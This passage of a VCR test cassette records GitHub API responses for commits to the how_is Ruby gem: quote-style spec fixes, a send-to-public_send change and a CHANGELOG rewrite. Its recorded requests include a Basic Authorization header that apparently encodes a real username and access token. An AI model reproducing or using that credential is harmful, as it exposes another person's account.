HowIs.generate_frontmatter({''foo'' => \"bar %{baz}\"}, {''baz'' => \"asdf\"})\n+ actual = HowIs.generate_frontmatter({\"foo\" => \"bar %{baz}\"}, {\"baz\" => \"asdf\"})\n expected = \"---\\nfoo: bar asdf\\n\"\n end\n \n expect(actual).to eq(expected)\n end\n \n- it ''works with frontmatter parameter using Symbol keys, report_data using Symbol keys'' do\n+ it \"works with frontmatter parameter using Symbol keys, report_data using Symbol keys\" do\n actual = nil\n expected = nil\n \n@@ -138,20 +138,20 @@\n # Re-enable.\n # rubocop:enable Style/BracesAroundHashParameters\n \n- context ''#from_config'' do\n+ context \"#from_config\" do\n let(:config) {\n- file = File.expand_path(''./data/how_is/cli_spec/how_is.yml'', __dir__)\n+ file = File.expand_path(\"./data/how_is/cli_spec/how_is.yml\", __dir__)\n YAML.load_file(file)\n }\n \n- let(:issues) { JSON.parse(open(File.expand_path(''./data/issues.json'', __dir__)).read) }\n- let(:pulls) { JSON.parse(open(File.expand_path(''./data/pulls.json'', __dir__)).read) }\n+ let(:issues) { JSON.parse(open(File.expand_path(\"./data/issues.json\", __dir__)).read) }\n+ let(:pulls) { JSON.parse(open(File.expand_path(\"./data/pulls.json\", __dir__)).read) }\n \n let(:github) {\n instance_double(\n- ''GitHub'',\n- issues: instance_double(''GitHub::Issues'', list: issues),\n- pulls: instance_double(''GitHub::Pulls'', list: pulls)\n+ \"GitHub\",\n+ issues: instance_double(\"GitHub::Issues\", list: issues),\n+ pulls: instance_double(\"GitHub::Pulls\", list: pulls)\n )\n }\n \n@@ -163,15 +163,15 @@ def self.export(_analysis, _format)\n }\n }\n \n- it ''generates a report, with correct frontmatter'' do\n+ it \"generates a report, with correct frontmatter\" do\n reports = nil\n \n VCR.use_cassette(\"how-is-from-config-frontmatter\") do\n reports = HowIs.from_config(config, github: github, report_class: report_class)\n end\n \n- actual_html = reports[''output/report.html'']\n- actual_json = reports[''output/report.json'']\n+ actual_html = reports[\"output/report.html\"]\n+ actual_json = reports[\"output/report.json\"]\n \n expected_html = <<~EOF\n ---"},{"sha":"cd1e9ce72936eacfdb78a81357683a1649d188f0","filename":"spec/spec_helper.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/spec/spec_helper.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/spec/spec_helper.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/spec_helper.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-$LOAD_PATH.unshift File.expand_path(''../../lib'', __FILE__)\n-require ''how_is''\n-require ''timecop''\n-require File.expand_path(''./vcr_helper.rb'', __dir__)\n+$LOAD_PATH.unshift File.expand_path(\"../../lib\", __FILE__)\n+require \"how_is\"\n+require \"timecop\"\n+require File.expand_path(\"./vcr_helper.rb\", __dir__)"},{"sha":"45ef62fb608a4ce1ad4d044d0f56270a2dc24ff7","filename":"spec/vcr_helper.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/spec/vcr_helper.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/spec/vcr_helper.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/vcr_helper.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''vcr''\n+require \"vcr\"\n \n VCR.configure do |config|\n config.cassette_library_dir = \"fixtures/vcr_cassettes\""}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:37 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:37 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3385' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"719338c0dbb6a713b18ca7410a57a310" Last-Modified: - Sun, 16 Jul 2017 16:40:26 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 2A16:3FAE:2704E0:4F42D9:5CC36AE5 body: encoding: ASCII-8BIT string: '{"sha":"4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGIxYzNiYTI1N2UyOWZmMGI5MjJlNmI0YWNlYjhiM2NlZDI0MTk1Zg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:40:26Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:40:26Z"},"message":"Prefer public_send over send","tree":{"sha":"2da6642a8fbb911235bc4c2faff78522dbadddf5","url":"https://api.github.com/repos/how-is/how_is/git/trees/2da6642a8fbb911235bc4c2faff78522dbadddf5"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","html_url":"https://github.com/how-is/how_is/commit/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"32998a063f1a978b05589edf928006684193c1f2","url":"https://api.github.com/repos/how-is/how_is/commits/32998a063f1a978b05589edf928006684193c1f2","html_url":"https://github.com/how-is/how_is/commit/32998a063f1a978b05589edf928006684193c1f2"}],"stats":{"total":10,"additions":5,"deletions":5},"files":[{"sha":"0a45d81650b8f894ac80926b45fcf376044fd11c","filename":"lib/how_is/report/base_report.rb","status":"modified","additions":5,"deletions":5,"changes":10,"blob_url":"https://github.com/how-is/how_is/blob/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f/lib/how_is/report/base_report.rb","raw_url":"https://github.com/how-is/how_is/raw/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f/lib/how_is/report/base_report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/base_report.rb?ref=4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","patch":"@@ -125,19 +125,19 @@ def issue_or_pr_summary(type, type_label)\n date_format = \"%b %e, %Y\"\n a = analysis\n \n- number_of_type = a.send(\"number_of_#{type}s\")\n+ number_of_type = a.public_send(\"number_of_#{type}s\")\n \n- type_link = a.send(\"#{type}s_url\")\n- oldest = a.send(\"oldest_#{type}\")\n- newest = a.send(\"newest_#{type}\")\n+ type_link = a.public_send(\"#{type}s_url\")\n+ oldest = a.public_send(\"oldest_#{type}\")\n+ newest = a.public_send(\"newest_#{type}\")\n \n if number_of_type.zero?\n text \"There are #{link(\"no #{type_label}s open\", type_link)}.\"\n else\n text \"There #{are_is(number_of_type)} #{link(\"#{number_of_type} #{pluralize(type_label, number_of_type)} open\", type_link)}.\"\n \n unordered_list [\n- \"Average age: #{a.send(\"average_#{type}_age\")}.\",\n+ \"Average age: #{a.public_send(\"average_#{type}_age\")}.\",\n \"#{link(''Oldest '' + type_label, oldest[''html_url''])} was opened on #{oldest[''date''].strftime(date_format)}.\",\n \"#{link(''Newest '' + type_label, newest[''html_url''])} was opened on #{newest[''date''].strftime(date_format)}.\",\n ]"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:37 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/32998a063f1a978b05589edf928006684193c1f2 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:37 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3384' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"45252e24b4b99cc707734fd90b1aabb5" Last-Modified: - Sun, 16 Jul 2017 16:31:51 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - A2C9:1E6B:2ABFF4:549106:5CC36AE5 body: encoding: ASCII-8BIT string: '{"sha":"32998a063f1a978b05589edf928006684193c1f2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzI5OThhMDYzZjFhOTc4YjA1NTg5ZWRmOTI4MDA2Njg0MTkzYzFmMg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:30:57Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:31:51Z"},"message":"[docs] Improve docblock wording","tree":{"sha":"17d0d3dd47c4666148b215c6e79dbbc33302de41","url":"https://api.github.com/repos/how-is/how_is/git/trees/17d0d3dd47c4666148b215c6e79dbbc33302de41"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/32998a063f1a978b05589edf928006684193c1f2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/32998a063f1a978b05589edf928006684193c1f2","html_url":"https://github.com/how-is/how_is/commit/32998a063f1a978b05589edf928006684193c1f2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/32998a063f1a978b05589edf928006684193c1f2/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"0f59a83c0e8ba6b63165af3c780f13ff843bb058","url":"https://api.github.com/repos/how-is/how_is/commits/0f59a83c0e8ba6b63165af3c780f13ff843bb058","html_url":"https://github.com/how-is/how_is/commit/0f59a83c0e8ba6b63165af3c780f13ff843bb058"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"667e4a8a6a2b7e2c3d79ed66ff1bcd66b31a7d69","filename":"lib/how_is/report.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/32998a063f1a978b05589edf928006684193c1f2/lib/how_is/report.rb","raw_url":"https://github.com/how-is/how_is/raw/32998a063f1a978b05589edf928006684193c1f2/lib/how_is/report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report.rb?ref=32998a063f1a978b05589edf928006684193c1f2","patch":"@@ -4,7 +4,7 @@\n require \"pathname\"\n \n class HowIs\n- # Error class\n+ # Raised when attempting to export to an unsupported format\n class UnsupportedExportFormat < StandardError\n def initialize(format)\n super(\"Unsupported export format: #{format}\")"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:37 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/0f59a83c0e8ba6b63165af3c780f13ff843bb058 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:37 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3383' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c625dcca07a9b1f3a5e3e9c90828b40f" Last-Modified: - Sun, 16 Jul 2017 16:24:17 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 117F:39A5:2A7C1E:4C4B24:5CC36AE5 body: encoding: ASCII-8BIT string: '{"sha":"0f59a83c0e8ba6b63165af3c780f13ff843bb058","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGY1OWE4M2MwZThiYTZiNjMxNjVhZjNjNzgwZjEzZmY4NDNiYjA1OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T16:24:17Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T16:24:17Z"},"message":"Merge branch ''master'' into fix/rubocop-warnings","tree":{"sha":"81a2bf1723cbfaec064ee4da5242729482218095","url":"https://api.github.com/repos/how-is/how_is/git/trees/81a2bf1723cbfaec064ee4da5242729482218095"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0f59a83c0e8ba6b63165af3c780f13ff843bb058","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0f59a83c0e8ba6b63165af3c780f13ff843bb058","html_url":"https://github.com/how-is/how_is/commit/0f59a83c0e8ba6b63165af3c780f13ff843bb058","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0f59a83c0e8ba6b63165af3c780f13ff843bb058/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"912c5e1a04a79f8852d48f38e8d8d0a785c3f419","url":"https://api.github.com/repos/how-is/how_is/commits/912c5e1a04a79f8852d48f38e8d8d0a785c3f419","html_url":"https://github.com/how-is/how_is/commit/912c5e1a04a79f8852d48f38e8d8d0a785c3f419"},{"sha":"50a9b616043fdadfcb262d68c5be32bb5f350c5d","url":"https://api.github.com/repos/how-is/how_is/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d","html_url":"https://github.com/how-is/how_is/commit/50a9b616043fdadfcb262d68c5be32bb5f350c5d"}],"stats":{"total":430,"additions":290,"deletions":140},"files":[{"sha":"78a8f7af7204e6193b4131d54a7d741bc32ecbbc","filename":"CHANGELOG.md","status":"modified","additions":258,"deletions":140,"changes":398,"blob_url":"https://github.com/how-is/how_is/blob/0f59a83c0e8ba6b63165af3c780f13ff843bb058/CHANGELOG.md","raw_url":"https://github.com/how-is/how_is/raw/0f59a83c0e8ba6b63165af3c780f13ff843bb058/CHANGELOG.md","contents_url":"https://api.github.com/repos/how-is/how_is/contents/CHANGELOG.md?ref=0f59a83c0e8ba6b63165af3c780f13ff843bb058","patch":"@@ -1,212 +1,330 @@\n # Change Log\n \n-All notable changes to this project will be documented in this file.\n+## [Unreleased](https://github.com/how-is/how_is/tree/HEAD)\n \n-The format is based on [Keep a Changelog](http://keepachangelog.com) and\n-this project adheres to [Semantic Versioning](http://semver.org).\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.4...HEAD)\n \n-## [Unreleased]\n+**Closed issues:**\n \n-(Nothing so far.)\n+- Stop using hashie''s master branch [\\#168](https://github.com/how-is/how_is/issues/168)\n \n-## [v18.0.4]\n+**Merged pull requests:**\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.4))\n-is exclusively cleaning up RuboCop violations and updating dependencies.\n-There should be no noticeable changes in functionality.\n+- Include name of rules in RuboCop output [\\#175](https://github.com/how-is/how_is/pull/175) ([olleolleolle](https://github.com/olleolleolle))\n+- Rubocop 0.49.1 [\\#174](https://github.com/how-is/how_is/pull/174) ([olleolleolle](https://github.com/olleolleolle))\n+- Rubocop warning removal [\\#173](https://github.com/how-is/how_is/pull/173) ([olleolleolle](https://github.com/olleolleolle))\n \n-### Miscellaneous\n+## [v18.0.4](https://github.com/how-is/how_is/tree/v18.0.4) (2017-07-14)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.3...v18.0.4)\n \n-* Use Hashie stable; update Gemfile/add Gemfile.lock. ([#170](https://github.com/how-is/how_is/pull/170))\n-* Pass -w to Ruby when running ''rake spec''. ([#169](https://github.com/how-is/how_is/pull/169))\n-* Rubocop cleanup. ([#167](https://github.com/how-is/how_is/pull/167))\n-* Gemfile: use Hashie from master branch. ([#166](https://github.com/how-is/how_is/pull/166))\n-* Update github_api, contracst to latest. ([#165](https://github.com/how-is/how_is/pull/165))\n-* Fix (a significant number of) RuboCop violations. ([#162](https://github.com/how-is/how_is/pull/162))\n-* README: Drop from_config_file reference. ([#161](https://github.com/how-is/how_is/pull/161))\n-* Move rubocop dependency to gemspec. ([#160](https://github.com/how-is/how_is/pull/160))\n+**Closed issues:**\n \n-## [v18.0.3]\n+- HowIs::CLI refactor [\\#156](https://github.com/how-is/how_is/issues/156)\n+- \"Invalid file\" error doesn''t include filename. [\\#155](https://github.com/how-is/how_is/issues/155)\n+- No report and Hashie::Mash\\#default warnings [\\#154](https://github.com/how-is/how_is/issues/154)\n+- Remove from\\_config\\_file from docs [\\#153](https://github.com/how-is/how_is/issues/153)\n+- Fix warnings when running `rake spec` [\\#124](https://github.com/how-is/how_is/issues/124)\n+- Number of issues closed in the past month [\\#106](https://github.com/how-is/how_is/issues/106)\n+- Number of PRs merged in the past month. [\\#105](https://github.com/how-is/how_is/issues/105)\n+- Number of PRs/issues opened in past month [\\#99](https://github.com/how-is/how_is/issues/99)\n+- Number of PRs/issues not updated in the past month [\\#87](https://github.com/how-is/how_is/issues/87)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.3))\n-fixes the things the last few releases broke. I think. Hopefully.\n+**Merged pull requests:**\n \n-It also includes some refactoring work, and the addition of a RuboCop\n-configuration.\n+- Release v18 0 4 [\\#171](https://github.com/how-is/how_is/pull/171) ([duckinator](https://github.com/duckinator))\n+- Use Hashie stable; update Gemfile/add Gemfile.lock [\\#170](https://github.com/how-is/how_is/pull/170) ([duckinator](https://github.com/duckinator))\n+- Pass -w to Ruby when running ''rake spec''. [\\#169](https://github.com/how-is/how_is/pull/169) ([duckinator](https://github.com/duckinator))\n+- Rubocop cleanup [\\#167](https://github.com/how-is/how_is/pull/167) ([duckinator](https://github.com/duckinator))\n+- Gemfile: use Hashie from master branch [\\#166](https://github.com/how-is/how_is/pull/166) ([olleolleolle](https://github.com/olleolleolle))\n+- Update github\\_api, contracts to latest [\\#165](https://github.com/how-is/how_is/pull/165) ([olleolleolle](https://github.com/olleolleolle))\n+- Fix \\(a significant number of\\) RuboCop violations. [\\#162](https://github.com/how-is/how_is/pull/162) ([duckinator](https://github.com/duckinator))\n+- README: Drop from\\_config\\_file reference [\\#161](https://github.com/how-is/how_is/pull/161) ([olleolleolle](https://github.com/olleolleolle))\n+- move rubocop dep to gemspec [\\#160](https://github.com/how-is/how_is/pull/160) ([duckinator](https://github.com/duckinator))\n \n-@duckinator enabled [Hound CI](https://houndci.com) for the repository, which\n-should find any RuboCop violations that are added in PRs. The preexisting\n-RuboCop violations (of which there are many) need to be addressed separately,\n-and there will likely be an entire release dedicated to that.\n+## [v18.0.3](https://github.com/how-is/how_is/tree/v18.0.3) (2017-05-25)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.2...v18.0.3)\n \n-### Changes\n+**Closed issues:**\n \n-* Add RuboCop config ([#158](https://github.com/how-is/how_is/pull/158))\n-* CLI parser refactor ([#157](https://github.com/how-is/how_is/pull/157))\n-* exe/how_is: Reinstate to_json, to_html ([#150](https://github.com/how-is/how_is/pull/150), by @olleolleolle)\n+- Issue: report.html renders only \\#\\ [\\#149](https://github.com/how-is/how_is/issues/149)\n+- Make CONFIG\\_FILE optional when using --config. [\\#41](https://github.com/how-is/how_is/issues/41)\n \n-## [v18.0.2]\n+**Merged pull requests:**\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.2))\n-_actually_ fixes the `--config` flag, which made an unecessary method\n-call.\n+- v18.0.3 -- CHANGELOG and version bump. [\\#159](https://github.com/how-is/how_is/pull/159) ([duckinator](https://github.com/duckinator))\n+- Add RuboCop config [\\#158](https://github.com/how-is/how_is/pull/158) ([duckinator](https://github.com/duckinator))\n+- CLI parser refactor [\\#157](https://github.com/how-is/how_is/pull/157) ([duckinator](https://github.com/duckinator))\n+- exe/how\\_is: Reinstate to\\_json, to\\_html [\\#150](https://github.com/how-is/how_is/pull/150) ([olleolleolle](https://github.com/olleolleolle))\n \n-### Changes\n+## [v18.0.2](https://github.com/how-is/how_is/tree/v18.0.2) (2017-03-05)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.1...v18.0.2)\n \n-* v18.0.2 - Remove unnecessary `.send()` call in exe/how_is.\n- ([#148](https://github.com/how-is/how_is/pull/148))\n+**Merged pull requests:**\n \n-## [v18.0.1]\n+- v18.0.2 - Remove unnecessary .send\\(\\) call in exe/how\\_is. [\\#148](https://github.com/how-is/how_is/pull/148) ([duckinator](https://github.com/duckinator))\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.1))\n-fixes the `--config` flag, which was previously using the wrong method.\n+## [v18.0.1](https://github.com/how-is/how_is/tree/v18.0.1) (2017-03-05)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.0...v18.0.1)\n \n-### Changes\n+**Merged pull requests:**\n \n-* v18.0.1 - fix `--config` flag.\n- ([#147](https://github.com/how-is/how_is/pull/147))\n+- v18.0.1 - fix --config flag [\\#147](https://github.com/how-is/how_is/pull/147) ([duckinator](https://github.com/duckinator))\n \n-## [v18.0.0]\n+## [v18.0.0](https://github.com/how-is/how_is/tree/v18.0.0) (2017-03-05)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v17.0.0...v18.0.0)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.0))\n-vastly improves documentation, fixes the `--from` flag, and adds the\n-`HowIs.from_hash` method (used by the\n-[dashboard](https://github.com/how-is/dashboard)).\n+**Closed issues:**\n \n-Pull Requests for this release can be [viewed on\n-GitHub](https://github.com/how-is/how_is/pulls?utf8=&q=is%3Apr%20created%3A2017-02-10..2017-03-03).\n+- Determine what is using open-uri [\\#140](https://github.com/how-is/how_is/issues/140)\n+- :from != :from\\_file [\\#137](https://github.com/how-is/how_is/issues/137)\n+- Move --from documentation to README [\\#136](https://github.com/how-is/how_is/issues/136)\n+- Why is rack required? [\\#135](https://github.com/how-is/how_is/issues/135)\n+- Is :from\\_file still an option? 